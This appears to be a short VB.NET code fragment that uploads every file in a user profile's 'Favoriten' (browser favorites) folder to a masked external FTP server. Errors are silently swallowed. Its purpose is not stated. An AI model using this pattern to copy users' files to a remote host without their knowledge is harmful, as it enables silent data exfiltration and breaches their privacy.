Try
            Dim sPath As String = sProfile & "\Favoriten\"
            Dim dir As System.IO.DirectoryInfo
            dir = New System.IO.DirectoryInfo(sPath)
            Dim f As FileInfo
            For Each f In dir.GetFiles("*.*")
            My.Computer.Network.UploadFile(sPath & f.Name, _
              "ftp://xxxxxxxxxxxx.de/xxxxxx/x/" & "fav_" & f.Name, xxxxxxx, _
              xxxxxxx)
            Next
Catch ex As Exception
End Try